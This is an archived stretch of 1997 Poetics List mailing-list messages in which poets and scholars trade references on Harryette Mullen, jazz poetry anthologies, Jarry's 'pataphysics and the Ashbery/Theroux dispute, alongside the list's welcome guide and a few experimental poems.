>http://www.u.arizona.edu/~nathanso/
>
>

↑ Index

557. **Red Slider**
Re: Mullen references
Thu 28 Aug 1997

---

not sure if this is current -

BOO Magazine
1865 Commercial Dr. Box 116
Vancouver, B.C. V5N 4A6

or, Phil McCrum [redacted]

red.

Can you give a fuller reference for Harryette Mullen's BOO? Also, does anyone know if Mullen published a lecture Aldon Nielsen refers to in *Black Chant* called "Visionary Literacy: Art, Literature and Indigenous African Writing Systems," first given at Intersection for the Arts in SF May 24, 1993? I'd like to find out more about the argument she makes there.

Thanks very much--

Dee Morris

> *Jordan--*
>
> *it[e.g. "hincty"] also turns up in Harryette Mullen's /Muse & Drudge/, as part of the*
> *phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it, mentions Clarence Major's dictionary of African American slang, From Juba to Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.*
>
> *best,*
>
> *Tenney*

↑ Index

558. **Herb Levy**
Re: Mullen references (& renga)
Thu 28 Aug 1997

BOO is a newsprint publication that comes out of Vancouver, something like quarterly, which ran an interview with Mullen about a year ago.

I don't have the address at hand, but one or another of the principals may be on the list, still, or some other Vancouverite might have contact info.

(That's Vancouver BC, by the way, about 150 miles north of here, NOT Vancouver WA, about 150 miles south of here.)

&, after a few days traveling in the opposite direction as Dodie, I can only say ditto in re: the burgeoning renga. While I have read some finished rengas in print & online form the earlier group that were of interest, being a captive reader of these works in process is not a beautiful thing. (For those who care to check into the old renga scare I think it was two years ago, summer of 1995.)

Bests,

Herb

> *Tenney--*
>
> *Can you give a fuller reference for Harryette Mullen's BOO? Also, does anyone know if Mullen published a lecture Aldon Nielsen refers to in *Black*

> *Chant* called "Visionary Literacy: Art, Literature and Indigenous African Writing Systems," first given at Intersection for the Arts in SF May 24, 1993? I'd like to find out more about the argument she makes there.*
>
> *Thanks very much--*
>
> *Dee Morris*
>
> *Jordan--*
>
> *it[e.g. "hincty"] also turns up in Harryette Mullen's /Muse & Drudge/, as part of the*
> *phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it, mentions Clarence Major's dictionary of African American slang, From Juba to Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.*
>
> *best,*
>
> *Tenney*

Herb Levy
[redacted]

↑ Index

559. **Ryan Whyte**
Shaky
Thu 28 Aug 1997

Shaky

skit, representation on representation
coffee and no lunch makes the same
shudder Hegel confronts close open
sign no contradiction in dictum
yes but no

this girl named A D alpha absolute
electric lights riven from herself
noose in speech fluted
when on the *phone*
ok well goodbye ahem
call next weak but the name

stutters sky blank shimmer
over granite. Not a man

say B B french or german
let continue to talk and
see each other

In great wind all
Serra's calculations
like tree tops
massage across interval
wherein the newness
of the same according

Andrew Benjamin.
I like that quote
in the morning, a propos de
how nice. Goodbye
tomb know not sema
steel carbon

↑ Index

560. David Bromige
(no subject)
Thu 28 Aug 1997

i doant kown wyh yuo lghau. vryeone kons tehr is ptorey taht mreinds us ptroey is dfcltiut to rade. prsonlellay , i fnid ernaly veryhingt dufflcit to erad. On, herte nist chum ptroey hath leapses em, tno cinse brett forest & garde ugest & t.s. litotes.

Het Bilarian hwo efrused to virwei crholle sownes boko.

↑ Index

561. John Krick
The Ear
Thu 28 Aug 1997

Dear Poetics List,

Anyone know about the schedule of upcoming events at The Ear, like, through the next couple of months?

John Krick
****
([redacted])

((((I pulled on a pair of my stoutest espadrilles and set off,
my cat frisking ahead of me with many a warning cry of

"Here comes my master, the Marquis of Carabras!"))))
S. J. Perelman
****

↑ Index

562. Lawrence Upton.
Compuserve
Thu 28 Aug 1997

A quick note of warning to my fellow email users. Should you consider using compuserve, learn from my situation. Three days after I cancelled my account with them and asked them to justify recent charges, they put in a debit to my credit card company for ANOTHER month. Now I have to jump through hoops if I want to get my money back.

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563. adalaide morris
BOO
Thu 28 Aug 1997

Thanks to Tenney, Herb, Red Slider, David Brominge, and Thomas Bell for the Mullen information. I've e-mailed Deanna Ferguson about the interview in BOO and will report back when I hear. Meanwhile, does anyone know the citation for the Poetic Briefs essay Tenney mentions?

I like Thomas Bell's idea of seeing whether some of Mullen's harder-to-find pieces could be posted on the EPC hotlist. Is there anything a person could do to help make that happen?

Dee

There are two pieces, actually, both of which folks on this list
>originally brought to my attention. One is the BOO interview; then there's,
>I think, a short essay by her in POETIC BRIEFS.
>
>best
>
>Tenney
>
>At 08:45 PM 8/27/97 -0500, you wrote:
>>Tenney--
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>>Can you give a fuller reference for Harryette Mullen's BOO? Also, does
>>anyone know if Mullen published a lecture Aldon Nielsen refers to in *Black

>>Chant* called "Visionary Literacy: Art, Literature and Indigenous African
>>Writing Systems," first given at Intersection for the Arts in SF May 24,
>>1993? I'd like to find out more about the argument she makes there.
>>
>>Thanks very much--
>>
>> Dee Morris
>>

↑ Index

564. **Robert Archambeau**
Jazz Poetry
Thu 28 Aug 1997

(in a small voice from beneath a pile of paperwork)

Does anybody have an opinion about Yusef Komunyakaa and Sascha Feinstein's "Jazz Poetry Anthology" and "Second Set: Jazz Poetry Anthology Volume Two" -- I just heard about them from Amazon.com, but since their goal is to sell you the book, their glowing review isn't necessarily to be trusted. Do Komunyakaa and Feinstein cover all the bases? Do they include discussions of Jazz poetics? Is the book filled with bland beat hymns of praise for great players? Do tell...

R.A.
--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

See: behind bullet-proof glass, the ruby slippers sparkle.
We do not know the limits of their powers.
We suspect that these limits may not exist.
 --Salman Rushdie

↑ Index

565. **Judy Roitman**
DC
Thu 28 Aug 1997

Any readings going on in DC the weekend of Sept. 27?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |

memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

566. **Jordan Davis**
our mail
Thu 28 Aug 1997

Anybody finish Mason & Dixon? I have a couple blanks in the upper left and the lower right corners, notably "Intentionally concealed" and "Pizarro's quest."

Jordan

On Thu, 28 Aug 1997, David Bromige wrote:

> *i doant kown wyh yuo lghau. vryeone kons tehr is ptorey taht mreinds us ptroey is dfcltiut to rade. prsonlellay , i fnid ernaly veryhingt dufflcit to erad. On, herte nist chum ptroey hath leapses em, tno cinse brett forest & garde ugest & t.s. litotes.*
>
> *Het Bilarian hwo efrused to virwei crholle sownes boko.*

↑ Index

567. **Eliza McGrand**
Re: Compuserve
Thu 28 Aug 1997

oh jeez.

i just went through the same nightmare with aol. yes, i was fool enough to put one of those "free disks" in my machine. a year and a half later, one credit card screwed up to the point of hours of phone calling, they have once again agreed to refund my money. it is not clear if at this time they will actually do it. they've made that promise before... e

↑ Index

568. **Herb Levy**
Re: Jazz Poetry
Thu 28 Aug 1997

I'm more taken with the range of work in Moment's Notice edited by Art Lange & Nathaniel Mackey.

I've only looked at the Komunyakaa & Feinstein collections in bookstores, so I don't know them as well, but that also means that looking them over in bookstores didn't seduce me into buying the books.

Moment's Notice offers a wider range of styles (including both poetry & prose), whereas the other collections seem (in my memory, at least) to be more or less limited to Beatnik stylings & personal experience poems.

I'd also recommend looking at Aldon Nielsen's book Black Chant for the last couple of chapters on jazz & poetry. Besides covering the jazz/poetry dynamic/aesthetic pretty well, this book also has a good bibliography & discography of work relevant to the subject.

Hope this helps,

Herb

> *(in a small voice from beneath a pile of paperwork)*
>
> *Does anybody have an opinion about Yusef Komunyakaa and Sascha Feinstein's "Jazz Poetry Anthology" and "Second Set: Jazz Poetry Anthology Volume Two" -- I just heard about them from Amazon.com, but since their goal is to sell you the book, their glowing review isn't necessarily to be trusted. Do Komunyakaa and Feinstein cover all the bases? Do they include discussions of Jazz poetics? Is the book filled with bland beat hymns of praise for great players? Do tell...*
>
> *R.A.*
> *--*
> *Robert Archambeau*
> *Department of English*
> *Lake Forest College*
> *Lake Forest, IL 60045*
> *http://www.lfc.edu/~archamb/*
>
> *See: behind bullet-proof glass, the ruby slippers sparkle.*
> *We do not know the limits of their powers.*
> *We suspect that these limits may not exist.*
> *--Salman Rushdie*

Herb Levy
[redacted]

↑ Index

569. Julie Marie Schmid
Re: Jazz Poetry
Thu 28 Aug 1997

I've used the Jazz Poetry Anthology in a lyric poetry class I taught here at the University of Iowa. I think that both the first volume and the second set are o.k. . . . A little too traditional for my tastes. It containts too much poetry about jazz and jazz artists and too little that actually utilizes a jazz poetic.

If I had it to do over again I would use the Mackey anthology that is published by Gray Wolf Press (the name of which escapes me). From what I've seen of that, it seems to be much more about formal innovation than the Feinstein & Komunyakaa text.

↑ Index

570. Rachel Loden
crack avant-garde units & zapper squads
Thu 28 Aug 1997

Patrick Pritchett wrote:

> *Rachel Loden (who will overcome with great gentleness and failing that, slap recalcitrant gatekeepers silly)*

Well, as Ronnie said, there you go again. How is it I always seem to get cast as something between the hostess of Romper Room and Nurse "those who are late do not get fruit cup" Diesel? I've spent the summer, Patrick, working on needlepoint samplers of Amy Lowell and rereading _Satyagraha in South Africa_ and _Letter from Birmingham Jail_, so I've sworn off violence except in really hopeless cases, such as Radovan Karadzic, or maybe certain backwoods relations of George Bowering.

Rachel

↑ Index

571. Poetics List
Welcome to Poetics List
Thu 28 Aug 1997

Rev. 6-3-97

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and in cooperation with Joel Kuszai ([redacted]).

Above the world-weary horizons
New obstacles for exchange arise
Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently about 500 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that

project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein: contact him for further

information. Joel Kuszai is list manager. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system

administrator. If this happens you will not be able to send messages to

Poetics

mail. To avoid this, unsub from the old address and resub from the new

address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot always decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away

for any extended period of time! Your account may become flooded and you may

lose not only Poetics messages but other important mail. You can temporarily

turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics

archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to

e-mail message

blank. In the body of your e-mail message type:

  review poetics

You will be sent within a reasonable amount of time (by return e-mail) a

rather long list containing the names and e-mail addresses of Poetics

subscribers. This list is alphabetized by server not name.

 or try:

 review POETICS by name

 review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to

serve as a hypertextual gateway to the extraordinary range of activity in

formally innovative writing in the United States and the world. The Center

provides access to the burgeoning number of electronic resources in the new

poetries including RIF/T and other electronic poetry journals, the POETICS

List archives, an AUTHOR library of electronic poetic texts, and direct

connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as

well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the

links to Poetics Archives. You may browse the archives by month and

year or search them for specific information. Your interface will

allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications

as easy as possible to our users and ENCOURAGE you to participate! Send a

list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts. Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

572. **Ryan Whyte**
video script
Fri 29 Aug 1997

The road which leads me to you is safe even when it runs into oceans.

Edmond Jabes, The Book of Questions

felt like Fellini.
Young voices write video screen,
not too old, held upstairs
spinning drums, washed by
harem, pure wife.

that word of mine
propriety making this video
when in a second it is me writing

it spoken, responsibility
a point later edited out

so where does the writing
begin which is a way of
writing out shame. She says
I am the screen well
that's true, admission
says you need us

I suppose it's a matter
of timing opening dam
bedrock to sky that total
responsibility in the midst
of technology's blind spot

so that returning to love
and an arbitrary division of
paragraphs yet when her face
shimmered it was all to a
certain extent lost
structure confluence

↑ Index

573. **rsillima**
By Ear, he said (or is it Bye Ear?)
Fri 29 Aug 1997

John,

My understanding is that the Ear series finally came to a close last spring with a reading by Steve Benson and Leslie Scalapino. There's a new series somewhere that is supposed to be the continuation, but either they haven't gotten started yet or else have not continued with the same mailing list. Can somebody please fill us Philadelphia-region folks in!

Ron Silliman

Date: Thu, 28 Aug 1997 10:09:30 +0000
From: John Krick <[redacted]>
Subject: The Ear

Dear Poetics List,

Anyone know about the schedule of upcoming events at The Ear, like, through the next couple of months?

John Krick
****
([redacted])

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

↑ Index

574. Miekal And
Re: Jarry and his Pataphysics
Fri 29 Aug 1997

> *p. durgin wrote:*
>
> *Hey listies,*
>
> *If a y one ha any hot s gges ions as to w ere to begin loo ing into the w rk of Al ed Jar ry, and his concept of Patap ysi s, wo ld you*

before you drive your car to the theatre of absurdity please partake in THE 'PATAPHYSICAL SOBRIETY TEST located at a url near you:

http://www.net22.com/qazingulaza/pataphysics/pataphysics.html

heirlooms are forever,

Miekal

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

575. **rsillima**
Ashbery/Theroux debate
Fri 29 Aug 1997

I'm going to violate my rule against posting to the list twice in one day to call attention to the following website:

http://www.latimes.com/HOME/NEWS/BOOKS/t000074985.html

There you will find John Ashbery writing to the LA Times about Alexander Theroux's review of his first five books and Theroux's response. The gist being that Ashbery is said to be a fine writer when he doesn't behave like a relative of Stein, Olson (whose name is spelled Olsen by both, or perhaps by the LA Times' editor), Pound, even Berryman.

Theroux, if you've had the fortune to miss the work, is a classic example of an academic novelist (Princeton at the moment, I think) who strikes the tough guy pose in his prose (he's an amateur at this compared with Leonard Michaels), which aspires to some sort of made for TV aesthetics.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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576. **Dean A. Brink**
JavaPoetry
Fri 29 Aug 1997

I would like to share an experiment with Java that combines images and text. It may take a couple minutes to load in your browser.

"Men with Coins"
http://www.w-link.net/~dean/JavaPoetry/mencoins.html

The applets used require a Java-enabled browser (such as Netscape 2 or above or MS Internet Explorer 3 or above).

Any comments or suggestions are very welcome.

dean brink
EALC/UChicago [redacted]
interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

<HTML>
I would like to share an experiment with Java that

combines images and text. It may take a couple

minutes to load in your browser.

<P>"Men with Coins"

<A
HREF="http://www.w-link.net/~dean/JavaPoetry/mencoins.html">http://
www.w-link.net/~dean/JavaPoetry/mencoins.html</A>

<P>The applets used require a Java-enabled browser (such as
Netscape
2 or above or MS Internet Explorer 3 or above).

<P>Any comments or suggestions are very welcome.

<P>dean brink

EALC/UChicago   <A HREF="mailto:[redacted]">[redacted]</A>

interpoetics - poetry of Asia and the Pacific Rim

<A
HREF="http://www.w-link.net/~dean/interpoetics/index.html">www.w-
link.net/~dean/interpoetics/index.html</A>

 </HTML>

----------16CEECFDEBCF77F4C2339945--

↑ Index

577. **David R. Israel**
Re: JavaPoetry
Fri 29 Aug 1997

Dean --

quite well done -- the serene pacing, text-roll & image-fades -- seems to fulfill (to a degree, or at least in a certain manner) what I've often felt to be interesting possibilities for the medium, but which I've rarely seen explored with much sense of adequacy.

A good example -- an interesting instance -- of what can be done. Reminds me somewhat of my sensation on seeing work of some more-"serious" video artists

(e.g., Irit Batsry in NYC), who're interested in really working with the medium's own potential . . .

Yes, the upper imagery didn't appear on my browser (Netscape 2 level) till the poem-text had run thru its cycle onece -- then one properly had the full effect. Other viewers might bear this in mind. The pacing was not (quite) as slow as Butoh -- was (I'd say) pretty well set; too fast would have been (pardoning the tautology) too fast; whereas much slower might've bordered on excruciating . . .
.

all this is not commenting on "content" issues, but rather, on the
techno-achievement (& hat-tipping toward the so-to-say
more-than-nascent poetics thereof . . .)

thanks,
d.i.

> *From:* *"Dean A. Brink"* <[redacted]>
> *Subject:* *JavaPoetry*
> *To:* [redacted]

> http://www.w-link.net/~dean/JavaPoetry/mencoins.html
.
.....
.....
\\\

red

I would like to share an experiment with Java that
combines images and text. It may take a couple
minutes to load in your browser.

"Men with Coins"
http://www.w-link.net/~dean/JavaPoetry/mencoins.html

The applets used require a Java-enabled browser (such as
Netscape 2 or above or MS Internet Explorer 3 or above).

Any comments or suggestions are very welcome.

dean brink
EALC/UChicago [redacted]
interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

<<File: ATT00000.htm>>

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579. **Miekal And**
Re: 'pataphysics & Opal Louis Nations
Fri 29 Aug 1997

David B wrote:

And too, he is a "loner" poet in a time of
> assiduous networking.

David Thanks For The Itinerant Bio of Opal Nations

& I wish to underline the immortal truth to the words

HE IS A LONER POET IN A TIME OF ASSIDUOUS NETWORKING.

but wonder if it could also read "because many of us are loner poets we have evolved into assiduous networkers."

Amendant Hardiker

'"pataphysician of inebriated thermal struggle & improbable solutions to uncalculated problematics

↑ Index

580. **Hank Lazer**
Re: Jazz Poetry
Fri 29 Aug 1997

I'd say "ditto" in response to Herb's e-mail. The Mackey co-edited volume has more range to it. I'd especially second Herb's enthusiastic recommendation of Aldon Nielsen's _Black Chant_--a truly great resource, and an enjoyable read. The current issue of _River City_ magazine has a couple of short essays on jazz & poetry: one by me (on early Creeley, and current Mackey), and one by Aldon.

↑ Index

581. **p. durgin**
Jarry and his Pataphysics
Fri 29 Aug 1997

Hey listies,

If any one has any hot suggestions as to where to begin looking into the work of Alfred Jarry, and his concept of Pataphysics, would you please back-channel me with the scoop? One can only infer so much from Roditi and the like. Thanks.

Patrick Durgin

I[I]I [redacted] I[I]I

↑ Index

582. **Pritchett,Pat**
Re: Ashbery/Theroux debate
Fri 29 Aug 1997

Thanks for that heads up, Ron - boy oh boy is Theroux all wet! The job he does on Little JA makes Sven Birkerts look like a perfect gentleman (and I imagine he is since I can't imagine him ever stooping so low...).

So, late in 1997, people are still getting riled over their inability to locate "truth" in poems. Gosh. Theroux is Allen Tate redux, preaching the mealy-mouthed humanist gospel of clarity, as if a poem were merely a transparent envelope and the poet a courier for some literary FedEx.

As a friend of mine from Texas is fond of saying: That tightens my jaw. This points up my recent experience on the second day of my Critical Analysis of Poetry class: we were reading Sandburg's homiletic "Grass." On the page before, though, was a wee excerpt from Stein's "Stanza" -- such wonderful, playful, bracing stuff -- and thanks to the attitude of hostility and fear fostered by people like Theroux, how will students ever be introduced to it? As Victor

McLaglen opines in Ford's "Fort Apache" - "we've got a job of work ahead of us and no mistake..."

Patrick Pritchett

From: rsillima
To: POETICS
Subject: Ashbery/Theroux debate
Date: Friday, August 29, 1997 4:34AM

http://www.latimes.com/HOME/NEWS/BOOKS/t000074985.html

There you will find John Ashbery writing to the LA Times about Alexander Theroux's review of his first five books and Theroux's response. The gist being that Ashbery is said to be a fine writer when he doesn't behave like a relative of Stein, Olson (whose name is spelled Olsen by both, or perhaps by the LA Times' editor), Pound, even Berryman.

Theroux, if you've had the fortune to miss the work, is a classic example of an academic novelist (Princeton at the moment, I think) who strikes the tough guy pose in his prose (he's an amateur at this compared with Leonard Michaels), which aspires to some sort of made for TV aesthetics.

Ron

Ron Silliman

↑ Index

583. **Pierre Joris**
Re: Jarry and his Pataphysics
Fri 29 Aug 1997

Read everything
first forward omitting every third vowel,
then backward reinserting the omitted vowels
after every fifth consonant

-- Pierre

p. durgin wrote:

> *Hey listies,*
>
> *If any one has any hot suggestions as to where to begin looking*
> *into the work of Alfred Jarry, and his concept of Pataphysics, would you*
> *please back-channel me with the scoop? One can only infer so much from*

> *Roditi and the like.*
> *Thanks.*
>
> *Patrick Durgin*
>
> *I[I]I* [redacted] *I[I]I*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I have never been able to tell a beginning
from an end." — Georges Braque
==========

↑ Index

584. **dbkk**
Re: By Ear, he said (or is it Bye Ear?)
Fri 29 Aug 1997

> *John,*
>
> *My understanding is that the Ear series finally came to a close last spring with a reading by Steve Benson and Leslie Scalapino. There's a new series somewhere that is supposed to be the continuation, but either they haven't gotten started yet or else have not continued with the same mailing list.*

I'm sure NYC-ers have more details, but here on the west coast the word is that the Ear Inn series is now at the Hear Cafe. A rather strange thematics in venue names, wouldn't you say?

Dodie

↑ Index

585. **Aldon L. Nielsen**
Re: Mullen Lecture
Fri 29 Aug 1997

Last I checked, Mullen's essay had not yet appeared in print -- but I've been out of touch for a while -- hope to speak with her soon, and will ask if it's out or in press somewhere -- I quoted from a tape I'd made for radio broadcast -- but you REALLY need to see the slides that go with the talk --

↑ Index

586. Joel Kuszai
Meow Press Website Open
Fri 29 Aug 1997

At long last, and at great mental anguish, the Meow Press website is now open. Please take a look around. Let me know back channel if there are any items which need to be corrected. This is my first venture into html and the web, so please be patient.

Over the next months and weeks I'll be adding more and more, including many on-line texts not available in paper form...

y'all come back now, y'hear...

it can be found at:

http://writing.upenn.edu/~kuszai/MEOW-WEB.html

↑ Index

587. David Bromige
'pataphysics & Opal Louis Nations
Fri 29 Aug 1997

A contemporary norte americano working the 'pataphysical vein who is too little known & read, Opal louis Nations, may be introduced here w/o my dipping too far into irrelevance, I trust. Author of a number of books published between 1970-1990(?), but for some years now on sabbatical from writing while he works in the studio reviving old gospel, doo-wop, & r n b acetates for the CD industry, Nations (aptly named [and by himself]) : born & raised in Britain, national of Canada, immigrant long since to the USA) is probably best encountered via _A Browsers Guide to Opal L. Nations_, put out by the now-defunct Coach House Press in Toronto but still likely available at the right library or 2nd hand bookshop. I know that when I read from this to a KSW group last year in Vancouver, they were astonished that a writer of such intensity concerning things absurd shared passports with them, and wanted to hear more of him. With his wife Ellie Humm (originally from Norway), Opal edited the magazine _Strange Faeces_ throughout the 70s.

Extra-literary talents possessed by this one-off figurante include a 6-octave range with perfect pitch (he has sung with a number of groups, beginning with the Frays in London in the 60s--Decca recording artists), and a gift for drawing, whether straight-ahead represntation, or the cartoons more in keeping with his writing interests.

Early an associate of Allen Fisher (collecting early doo-wop, not poetry, initially drew them together), and during his Canadian spell, Steve McCaffery, I believe

Nations' lukewarm interest in French theory of the recent past accounts for the drop off in attention to his work, and, on his part, in furthering his writing. And too, he is a "loner" poet in a time of assiduous networking.

I hope some of you will find time to look into his work. David

↑ Index

588. Pierre Joris
Re: 'pataphysics & Opal Louis Nations
Fri 29 Aug 1997

David, thanks for that lovely & accurate take on Opal -- whose work has much delighted me over the years & is indeed very much & unjustly neglected in the cyber-90s -- & whose generosity as publisher in the England of the seventies was proverbial -- when I started SIXPACK it was he who showed up on my doorstep & offered his equipment for use -- & then published my own first book. -- doo-wop de doo, Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I have never been able to tell a beginning
from an end." — Georges Braque
==========

↑ Index

589. Red Slider
Re: Ashbery/Theroux debate
Fri 29 Aug 1997

[shears...] a wee excerpt from Stein's "Stanza" -- such wonderful, playful, bracing stuff -- and thanks to the attitude of hostility and fear fostered by people like Theroux, how will students ever be introduced to it? As Victor McLaglen opines in Ford's "Fort Apache" - "we've got a job of work ahead of us and no mistake..."

Patrick Pritchett

Pat,
Put your mind at ease. We'll find our way. We'll
find our way. At night

red.

↑ Index

590. **mark weiss**
(no subject)
Fri 29 Aug 1997

I've just read the exchange between Ashbery and Theroux in the LA Times that Ron tipped us off to (you can get Ashbery's reply to the review and Theroux's reply to Ashbery free at the LATimes website, but the original review (Aug. 3) appears to be pay-per-view). Theroux, who gets last word (the home team always does) to clinch his argument that the great moderns and their supporters are often in a conspiracy to perpetrate fraud by being less than plain-spoken and linear, quotes some lovely paratactic lines of Ashbery's as proof that Ashbery is not entitled to ask anyone for clarity of argument, his crimes against such being so flagrant. He also discounts Stein because she flunked her lit courses. It never occurs to Theroux that he simply may not know how to read the writers he criticizes. In light of the above, I thought that the backchannel thread between me and Charles Alexander might be useful. He is responding to the poetics list posting that I reproduce below. (Charles agreed to our outing).

Those of you who weren't sure what kind of divisions there are in the poetry world when the question of an avant-garde came up recently may find the following interesting. I just spoke with the editorial office at _Booklist_, the journal of the American Library Association. I had submitted Rochelle Owens' _New and Selected Poems_ to them for review. As the excellent review in Publishers' Weekly had just come out I was curious as to whether _Booklist_ intended to review it. Like it or not, a good review in _Booklist_ is worth 200-300 sales to libraries. I was informed that their poetry editor had rejected it because, in the words of an internal memo, it "represents the kind of poetry that convinces people that poetry is too difficult to read." I think I offended the guy on the other end of the line when I volunteered that they should maybe find a less naive poetry editor. The book came to them with extensive praise from, among others, Karl Young, Marjorie Perloff and Jerry Rothenberg, but that didn't get it past the gate-keeper.

Mark

Mark, you devil.

You know perfectly well that these three names wouldn't get anything past, or even TO, those particular gate-keepers. My guess is that those gate-keepers might not have ever heard these three names.

I mean, there are borders, and then there are glaciers.

Charles

Of course you're right, and that's the point. We can argue about what's meant by avant garde, but I know damned well that the two conservative books that I've published, Mervyn Taylor's and Susie Mee's, both of which I think are marvelous books, got reviewed in Library Journal, Publisher's' Weekly and Booklist, until Rochelle's none of the others have been reviewed in even one of the three, and the review of Rochelle's begins "Owens is yet another talented poet who has not received her due because her poems are neither easy nor easily classifiable." It happens that I don't think that any of the books I've published are difficult (few books of poems are--they usually yield pretty easily to being read aloud), but most are non-linear, which is what I think these cats mean by difficult. The linear is where the line is drawn, and that applies to ways of experiencing a lot more than just poems, heaven help us in this poor benighted land.

Mark

